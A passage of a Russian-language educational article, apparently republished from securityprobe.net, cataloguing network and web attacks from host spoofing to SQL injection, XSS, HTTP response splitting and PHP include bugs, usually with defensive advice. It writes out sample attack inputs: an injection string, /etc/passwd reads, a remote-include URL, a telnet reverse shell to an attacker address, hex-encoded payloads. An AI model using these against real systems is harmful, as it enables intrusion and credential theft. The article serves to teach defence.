Рекомендации: их может быть много, по той причине, что приёмов достаточно много. Но стоит упомянуть, что угрозу снизит (но возможно затруднит легимитивные соединения) уменьшение времени ответного пакета с установленными флагами SYN и ACK, а также увеличить максимальное количество SYN-запросов на установление соединения в очереди (tcp_max_backlog). Так же можно использовать SYN-Cookies.

20) Host spoofing (Подмена хоста). Очень сложная техника, требующая физического доступа к сети. Каждый компьютер знает маршрутизатор, на который он отправляет все пакеты, которые потом маршрутизатором доставляются по назначению. При смене маршрутизатора каждому компьютеру высылается redirect уведомление, после чего компьютеры начинают посылать пакеты новому маршрутизатору. Взломщик может сфабриковать подобное уведомление и выдать себя за маршрутизатор, таким образом он получит контроль над трафиком в пределах сегмента сети.

Рекомендации: контроль над доступом к сети и момента смены маршрутизатора. Например, можно следить, весь ли прошлый трафик (т.е. старые соединения) «появились» на новом маршрутизаторе.

21) Подбор пароля. Используется для регистрации в системе путём подбора пароля к учётной записи. Есть два вида: подбор всех возможных комбинаций символов (BruteForce) и подбор по словарю. Первый способ более эффективен, т.к. всё равно найдётся комбинация символов, которую вы ввели с клавиатуры в качестве пароля, но этот способ крайне медленный, особенно если в расчёт принимаются знаки препинания и т.п. Второй способ быстрый, но если вы ввели слово, которого не может быть в словаре, например: «Мой-Новый-Пароль», то подобрать по словарю его будет невозможно. Программ, которые служат для подбора пароля очень много, поэтому мы не думаем, что есть смысл называть какие-либо конкретные. Как правило, программы, ОС и пр. хранят пароли в шифрованном виде, поэтому даже если взломщик получил доступ к файлу, ему придётся расшифровать пароль. Он это может делать сутками на своём домашнем компьютере.

Рекомендации: использовать сложные пароли, лучше со знаками препинания. Ограничьте количество попыток ввода пароля. Против расшифровки пароля поможет только его сложность.

22) Back Connect/Pipes/Reverse (Обратный сеанс или Реверс). Это вспомогательный приём, но сам по себе он очень интересный. Например, взломщик не хочет каждый раз выполнять много действий ради одной команды. Он может упростить задачу, используя этот приём. Суть его в том, что взломщик вынуждает атакуемый компьютер подключиться к компьютеру взломщика. Например на атакуемом компьютере можно выполнить команду telnet [ip.адрес.взломщика] [порт]. После этого взломщик, по сути дела получает командную строку (командную оболочку или Шелл/Shell) на атакуемом компьютере.

23) Software vulnerabilities (Ошибки ПО). Использование ошибок в программном обеспечении. Эффект может быть разный. От получения несущественной информации до получения полного контроля над системой. Атаки через ошибки ПО самые популярные во все времена. Старые ошибки исправляются новыми версиями, но в новых версиях появляются новые ошибки, которые опять могут быть использованы. Дальше мы опишем не виды атак, а приёмы, используемые для атаки на ошибки ПО. Рекомендации: приведём сразу для всех, потому как рекомендация общая - поможет только «безопасно» написанный код программ. По этой теме можно найти большое количество материала в Интернет.

24) Buffer Overflow (Переполнение буфера). Очень опасный вид атаки, когда запрос формируется так, что он переполняет выделенные ему рамки памяти и команды «вшитые» в запрос попадают в стек, а после выполняются процессором. Это можно сделать как удалённо, так и локально, если взломщик может запустить свою программу на атакуемом компьютере. Это может быть использовано как для выполнения кода на компьютере, так и для поднятия прав. Есть несколько подвидов атак на переполнение буфера. Мы не будем описывать каждый из них, т.к. для объяснения принципа нам придётся привести примеры кода, который будет непонятен людям, незнакомым с программированием. Нижеприведённая классификация принадлежит Андрею Колищаку (andr[at]sandy.ru) и находится в его статье «Атаки на переполнение буфера». Поэтому найти их описание, примеры и рекомендации Вы можете непосредственно в этой статье. Мы же приведём их просто для ознакомления.

a) Атака “срыв стека”

cool.gif Атака “срыв стека” с параметризацией

c) Атака “срыв стека” с передачей управления

d) Искажение указателей функций

e) Атака на указатели функций

f) Атака на указатели функций с параметризацией

g) Атака на указатели функций с передачей управления

h) Искажение таблиц переходов

i) Атака на таблицы переходов

j) Атака на таблицы переходов с параметризацией

k) Атака на таблицы переходов с передачей управления

l) Искажение указателей данных

m) Атака с искажением указателей данных

n) Атака с искажением указателей данных с параметризацией

o) Атака с искажением указателей данных с оригинальным кодом.

К вышеприведённой классификации мы бы хотели привести ещё один тип: Integer Overflow (Переполнение целочисленных). За более подробной информацией можно обратиться к статье «Целочисленное переполнение: Атака» и «Целочисленное переполнение: Защита» или «Basic Integer Overflows» от Blexim.

25) Shatter – Уязвимость Windows систем, которая может быть использована только локально. Очень похожа на переполнение буфера, точнее приводит к тому же самому результату: команды взломщика попадают в стек. Основана на том, что у каждого окна в Windows, у которого есть поле для ввода, есть и максимальная длина вводимого значения. Она устанавливается ещё на стадии разработки программы и для небольших полей может быть равна, например 50. С клавиатуры нельзя ввести количество символов больше 50, но работа окон Windows основана на Messages (Посланиях). Можно легко получить Header (Хидер или Заголовок(особый, предназначенный только для ОС)) поля для ввода и послать SETTEXT (установить текст) сообщение (используя этот хидер) полю для ввода. Сообщение должно сказать, что необходимо установить текст длиною больше 50, соответственно, всё, что будет после 50-го символа, попадёт в стек и будет выполнено процессором. Защиты от этого не существует. Единственная панацея – это процессоры AMD Athlon 64, у которых есть встроенная защита, и они не выполняют команды из стека.

26) Nuke (WinNuke или Нюк). Сейчас это скорее история. Windows по умолчанию использует протокол NetBIOS для совместной работы с файлами и принтерами в сети. Для этого ОС открывает три TCP порта (137, 138, 139). Реализация этого протокола на старых версиях Windows содержала уязвимость. Суть в том, что можно послать в открытый 139 порт несколько OutOfBand «сообщений» подряд. Система не могла корректно обработать подобные данные и система повисала. Программ для подобных атак было написано немало, но мы упомянем только Shadow Security Scanner, который уже был назван нами ранее, как средство для SSPing.

27) Cross User Attack (межпользовательская атака). На наш взгляд достаточно неоднозначное название, т.к. не лучшим образом отражает суть атаки, но всё же мы придержимся этого, общеизвестного названия. Squid 2.4 и ISA/2000 позволяют пользователям делить между собой TCP соединения с сервером. Можно спровоцировать с помощью HRS (описана ниже) два ответа от сервера, один из которых будет контролироваться взломщиком и фальсифицирует полученную пользователем информацию.

2 Атака на CGI. Большинство WWW (Веб) серверов используют скрипты для предоставления пользователям дополнительных услуг или предоставления дополнительных возможностей. Например, почтовые сервера, как mail.ru На многих серверах установлены «самописные» CMS (Content Management System или Системы управления содержимым (сайта)). Программисты далеко не всегда заставляют свои скрипты проверять вводимые пользователем значения, отчего появляются возможности использования таких оплошностей в различных целях. Атака на переполнение буфера также может быть проведена через ошибки CGI скриптов. Например: http://host/cgi-bin/helloworld?type=A*100 (т.е. буква A будет в количестве 100 раз). По адресу http://www.opennet.ru/base/sec/linux_sec_guide.txt.html можно найти отличную статью, во второй части которой описываются проблемы безопасности, которые обычно оставляются без внимания CGI программистами. Многие не являются приёмами взлома, а только помогают взлому, поэтому для написания хорошего кода лучше ознакомиться со статьёй. Рамки нашей статьи не позволяют нам углубиться в тему написания безопасного кода, поэтому скажем только, что нужно, как минимум, фильтровать все служебные символы из получаемых данных.

29) SQL Injection (SQL иньекция). Если введённые пользователем данные используются в сформированных SQL запросах без проверки, то взломщик может ввести данные, которые позволят ему получить любую информацию из Ваших SQL баз. Например: есть запрос «SELECT login, password FROM members where email=’$email’;» Где $email вводится пользователем в таблице, запрос обрабатывается и результат выводится на страницу. Взломщик может модифицировать данные и ввести в форму: «my@mail.ru' OR login LIKE '%admin%». Таким образом, сформированный SQL запрос будет: «SELECT login, password FROM members where email='my@mail.ru' OR login LIKE '%admin%';». Таким образом, взломщик получит пароли от пользователей, в login которых содержится admin.

30) HRS (HTTP Resource Splitting) – Достаточно молодой и по нашему мнению сложный приём (если не использовать его только для XSS), который позволяет реализовать атаки вида Hijacking Pages, Cross User Defacement, Web Cache Poisoning, Browser Cache Poisoning, XSS (будут описаны ниже). Сущность атаки в том, что взломщик, специально приготовленным HTTP запросом может заставить Веб-сервер, уязвимый перед HRS, ответить жертве (а не взломщику) двумя раздельными HTTP ответами (а не одним, как это было бы в обычной ситуации). Первый HTTP ответ может быть частично контролируем взломщиком, но второй контролируется взломщиком полностью! Если это возможно, взломщик посылает два запроса, где жертва выступает уже посредником. Первый из этих запросов снова заставит Веб-сервер ответить два раза, а второй обычно запрашивает какой-либо второстепенный ресурс на сервере (например, какую-либо маленькую картинку). Но! Жертва объединит второй HTTP запрос (на второстепенный ресурс) со вторым HTTP ответом (который контролируется взломщиком)! Таким образом, жертва думает, что получившийся «агрегат» это ответ от Веб-сервера с частью его содержимого, но на самом деле это будет важная информация или команда (которая подготовлена взломщиком). Есть ещё один нюанс, жертвой может быть компьютер взломщика, который получит в результате атаки, важную информацию, например, cookie другого пользователя. Ниже мы опишем атаки, которые можно провести через HRS, но они так же могут быть проведены с использованием другого приёма, но мы скажем про них всё же в ключе HRS.

31) Cross User Defacement – Достаточно «узкий» приём, потому что взломщик подделывает страницу, которая посылается уязвимым Веб – сервером только одной жертве. При этом содержимое Веб – сервера никаким образом не меняется. Кроме этого, приём очень сложно провести не при помощи HRS. Взломщику придётся выступить посредником между клиентом и сервером при помощи Спуфинга, IP хайджека, или ошибки в реализации некоторых Веб-серверов, но в итоге «затраты» не оправдают полученного результата. Более легко реализовать это через межпользовательскую атаку.

32) Web Cache Poisoning – по нашему мнению, не совсем полезный приём, поэтому опишем его исключительно кратко. В основном, прокси серверы кэшируют страницы, запрашиваемые пользователями, чтобы при повторном запросе такой страницы отдать её из кэша, а не запрашивать Веб-сервер. Это необходимо для экономии трафика, если это корпоративная сеть и прокси сервер внутрисетевой. Суть приёма в том, чтобы спровоцировать прокси сервер кэшировать поддельную страницу, которая потом будет передаваться пользователям сети.

33) Browser Cache Poisoning. Кэши есть не только у прокси серверов, но также и у браузеров. По сути этот приём почти то же самое, что и Web Cache Poisoning, с той лишь разницей, что ей подвергается только один компьютер.

34) Hijacking Pages – в некоторой степени этот приём схож с межпользовательской атакой, но здесь цель атаки не «подсунуть» пользователю подделанную информацию, например Веб-страницу, а наоборот, заставить сервер переслать взломщику Веб-страницу, которая предназначалась другому пользователю. Таким образом, взломщик может получить важную информацию, предназначенную другому пользователю. Это может быть номер его счёта или выданный ему пароль. Для проведения атаки, взломщику необходимо TCP соединение с прокси сервером (назовём «ВСП»), TCP соединение между жертвой и прокси сервером («ЖСП») и TCP соединение между Веб-сервером и прокси сервером («ССП»). Схема следующая:

a) Взломщик посылает через «ВСП» запрос (назовём «ЗА») к прокси серверу, на который Веб-сервер должен ответить двумя «ответами» «ОФ1» и «ОФ2» (случай HRS).

cool.gif Прокси сервер пересылает через «ССП» запрос «ЗА» к Веб-серверу.

c) Веб-сервер отвечает «ОФ1» и «ОФ2» через «ССП».

d) Прокси сервер считает, что «ОФ1» это ответ на «ЗА» и пересылает его взломщику через «ВСП».

e) Жертва посылает прокси серверу запрос «ЗЖ» через «ЖСП». На который Веб сервер должен ответить страницей «ОС», которая содержит важную информацию.

f) Прокси сервер пересылает «ЗЖ» Веб-серверу через «ССП», но тут же принимает фальшивый «ОФ2» за ответ Веб-сервера.

g) Прокси сервер через «ЖСП» пересылает жертве «ОФ2» как ответ на запрос «ЗЖ».

h) Взломщик снова посылает прокси серверу новый запрос «ЗА2» через «ВСП».

i) В это время прокси сервер получает ответ от Веб-сервера на «ЗЖ» через «ССП».

j) При этом прокси сервер всё же пересылает «ЗА2» Веб-серверу через «ССП», но тут же принимает «ОС» за ответ на «ЗА2».

k) Прокси сервер пересылает «ОС» взломщику через «ВСП». Т.о. взломщик добился своей цели, он получил страницу, которая предназначалась жертве.

Дальше прокси сервер получит ответ на последний запрос взломщика, но на то время эту страницу будет некому отдать, и она будет вероятнее всего удалена. Мы думаем, что после рассмотрения этой схемы стало понятно, что атака не столь сложна в реализации в теории, сколь сложна на практике. Требуется точно распланированное время, через которое будут отосланы запросы и, соответственно, потребуются точные данные, через какое время будут получены ответы на запросы.

35) CSS/XSS (Cross-Site Scripting или Межсайтовый скриптинг). Атака, так и не признанная Microsoft опасной, основана на использовании Java Script в странице. Как известно, Java код, «вшитый» в страницу, выполняется браузером пользователя. Возможности достаточно ограничены, но в умелых руках имеющиеся возможности могут быть очень эффективно использованы. Например, многие форумы или почтовые сервера умеют идентифицировать пользователя по наличию определённой cookie на компьютере пользователя. Она уникальна для каждого и поэтому считается достаточно безопасно идентифицировать пользователя для доступа к информации малой важности только по её наличию, без ввода пароля. Но, cookie можно украсть! Взломщик может внедрить в страницу код типа: «», а на своём сайте создать файл snf.jpg, который на самом деле будет скриптом и будет записывать в файл полученные через document.cookie данные. Таким образом, каждый пользователь, посетивший страницу форума, куда взломщик внедрил вышеприведённый код (например, вместо картинки), «подарит» взломщику свою cookie, которая позже может быть использована взломщиком для регистрации на форуме. Даже если внешние ссылки на картинки не разрешены, но есть возможность их загрузки, то одного фильтра на расширение (чтобы оно было, например JPG) мало. Поэтому атака всё равно будет успешной, если в теле файла (например: «photo.jpg») будет содержаться JAVA код. Если сервер подвержен атаке XSS, то клиент может сам уберечься от неё, отключив выполнение Java Script в своём браузере. Конечно, после этого некоторые страницы могут работать некорректно.

36) SiXSS (SQL Injection Cross Site Scripting). Представляет собой комбинацию SQL Injection и XSS, т.е. выполнение атаки типа XSS через уязвимость скрипта к SQL Injection. Атака основана на том, что свежие версии MySQL умеют переводить шестнадцатеричные значения (вида 0хХХ) в текст. Например, через SQL запрос можно выяснить, что шестнадцатеричное значение строки «» это «3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E». Теперь если есть уязвимый к SQL Injection Скрипт, то можно задать вот такой запрос: www.victim.com/vuln_script.php? vuln_variable=1+union+select+0x3C7363726970743E616C6572742822536958535322293B3C2
F7363726970743E Мы надеемся, что записи vuln_variable или vuln_script Вам понятны, что это уязвимая переменная и уязвимый скрипт соответственно. В результате мы получим окошко с текстом SiXSS, что значит, что атака прошла успешно. Код исключительно безвреден, поэтому можно проверить самим. Подобная атака весьма специфична, поэтому мы считаем необходимым обговорить её более подробно. В отличие от XSS эта атака применяется в фишинге, если её модифицировать. Кроме того, достаточно трудно внедрить подобный код в чужую страницу, потому что «рабочие» скрипты в их шестнадцатеричном значении очень длинные и могут выходить за пределы допустимых значений, поэтому проще привести подобную ссылку отдельно как текст, нежели «вшивать её». Конечно, многие пользователи могут сказать, что они никогда не откроют ссылку, если увидят в ней элементы SQL запроса, например «UNION», однако здесь есть свой подводный камень: от человеческого глаза ссылку легко спрятать, сделать неузнаваемой. Например, запись %F1%F1%FB%EB%EA%E0 совершенно непонятна для глаза, но будет правильно воспринята браузером и сервером. Кроме этого, есть несколько способов замаскировать ссылку, поэтому ошибиться будет легко. Кроме этого, многие почтовые клиенты предпочитают не показывать ссылку целиком, а показывать только начало, поэтому фрагменты SQL могут оказаться попросту скрытыми. Поэтому, либо не доверяйте неизвестным отправителям, даже если они представятся менеджерами банков, либо отключите JAVA. Но первый вариант всё же предпочтительнее. Из личного опыта можно рассказать, что однажды пришло подобное письмо от управляющего банком, где в поле «отправител» была запись «Apex Bank PLC», однако в обратном адресе было apexbnkplcc@yahoo.co.uk Ясно, что это был мошенник, потому что никогда банк не будет доверять обработку своей почты бесплатным почтовым серверам. Внимательно проверяйте обратный адрес и не верьте в легкие деньги!

37) SiHRS (SQL Injection HTTP Resource Splitting) – приём реализует HTTP Resource Splitting через уязвимость скрипта к SQL Injection. Это становится возможным, если скрипт, например, по индексу, сначала обращается к SQL базе за HTTP адресом, а потом сам генерирует свой HTTP запрос и использует полученный из SQL базы HTTP адрес для подстановки в поле «Location:» своего HTTP запроса. Это достаточно часто используется в Интернет-каталогах сайтов. Мы можем привести пример HTTP заголовка, который может быть использован для SiHRS в шестнадцатеричном виде.

Select HEX('i.php'

Content-Length: 0

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 19

');

Получится очень длинная строка, поэтому мы приведём только первую её часть «692E7068700A436F6E74656E742D4C656E6774683A20300D0A0D0A485…»

Теперь мы сможем так же использовать полученный результат, как и в случае с SiXSS.

«www.victim.com/vuln_script.php?vuln_variable=1+and+2%3d%34+union+select+0x692E7068700A436F6E74656E742D4C656E6774683A20300D0A0D0A485…»

3 NULL Byte (или Нулевой байт). Это достаточно серьёзная проблема с языком PERL. Дело в том, что Perl позволяет символу \0 (HTML вариант - %00) быть в любом месте строки. Для языков типа С, этот символ означает конец строки. Вот тут и кроется угроза. Например, есть Perl код: $filename = $query->param('filename').'.dat'; open F, $filename; Конечно, всё будет в порядке, если filename будет введён, например “org”, тогда Perl будет открывать файл org.dat, но если взломщик введёт “/etc/passwd%00”, то Perl попытается открыть файл с именем “/etc/passwd\0.dat”. Так как за открытие файла отвечает функция open, которая, получив этот параметр, воспримет \0 как конец строки и отбросит “.dat” и откроет файл “/etc/passwd”.

39) Include Bug – Достаточно часто встречающаяся уязвимость. Для упрощения добавления новых страниц на сайт или для других целей в скриптах используется функция include($file); где $file задаётся пользователем, либо указывается в ссылке, например http://victim.com/news.php?file=somefile .После этого, вместо функции include(); будет вставлено содержимое somefile. Достаточно удобно, но если не проверять введённое пользователем значение, то рано или поздно кто-нибудь введёт http://victim.com/news.php?file=/etc/passwd и получит его содержимое.

40) PHP-Include Bug – на наш взгляд достаточно интересная уязвимость, которая может быть отнесена к подвиду Include Bug, но мы считаем, что стоит выделить её отдельно, потому что целью выступает не получение данных из какого-то файла, а вставка в страницу и последующее выполнение сервером PHP кода. Те, кто знакомы с PHP знают, что фрагменты кода (ограниченные, например, или ) просто вставляются в Веб-страницу, и при построчной обработке страницы Веб-сервером, они выполняются. Т.о. можно вставить такие куски кода в страницу через PHP Include. Например, в странице есть код include($file); В результате в страницу будет вставлено содержимое файла $file (который задаётся пользователем, как в случае с Include Bug). Взломщик может заранее подготовить файл, который содержит в себе PHP код, который он желает выполнить на уязвимом сервере. После этого он загрузит файл на свой Веб-сервер и введёт запрос http://victim.com/news.php?file=http://att...om/php_code.php После этого PHP код будет вставлен в уязвимую страницу и выполнен Веб-сервером.

41) Hidden Fields (или Скрытые поля). Это не приём взлома, скорее, приём манипуляции данными. Скрытые поля используются в формах, которые сначала передаются клиенту, но не отображаются в браузере, а потом отдаются обратно серверу. Они выглядят в исходном коде HTML страницы как: “”. Проблема в том, что взломщик может изменить это поле вручную, после чего товар будет ему продан в ту цену, в которую он пожелает.

Рекомендации: не доверяйте данным, полученным из скрытых полей.

Мы постарались наиболее полно и понятно объяснить суть всех хакерских приёмов, используемых в TCP/IP сетях. Мы надеемся, что эта статья действительно откроет Вам перспективы изучения компьютерной безопасности, укрепит базу или хотя бы даст осознать всю важность этого вопроса для каждого пользователя. Новый век диктует нам новые правила и, чтобы идти с ним в ногу, необходимо их придерживаться.

Мы надеемся, что тип людей, не способных ни на что серьёзное, а только на унижение того, что сделано другими, обойдёт нас стороной, понимая, что мы не будем принимать беспочвенную и неаргументированную критику. Остальным же скажем, что мы всегда рады выслушать все пожелания и по возможности их реализовать, а также примем всю разумную и уместную критику.

Автор не известен.
Статья была опубликована на securityprobe.net

Голова чтобы думать, ноги чтобы ходить. Никто не сможет меня остановить.